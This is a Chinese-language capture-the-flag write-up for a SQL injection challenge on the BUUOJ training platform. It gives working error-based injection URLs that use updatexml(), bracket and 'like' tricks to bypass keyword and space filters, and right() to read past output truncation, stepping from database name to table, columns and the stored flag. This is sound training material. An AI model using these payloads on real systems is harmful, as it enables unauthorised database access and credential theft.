簡介
原題復現:
考察知識點:SQL注入(報錯注入,繞過過濾)
線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台 特別感謝!) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題
復現
經過手工測試過濾了and、= 空格 union等多個sql關鍵字
要思考如何繞過這些關鍵字去注入!
使用updatexml報錯法注入
查數據庫信息
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=21
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21
結果:geek
查表
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21
結果:H4rDsq1
查字段
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21
結果:id,username,password
查數據
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=21
結果:flag~flag{9f09946d-4c83-40f5-98
看wp說用right()語句在查詢后面部分 這樣就可以了 又get到了新技能。。。。
只查到了一半再用left()right()語句查詢拼接
http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21
結果:XPATH syntax error: '~3-40f5-9828-9593ee5f3f4c}~'
拼接后結果:
flag{9f09946d-4c83-40f5-9828-9593ee5f3f4c}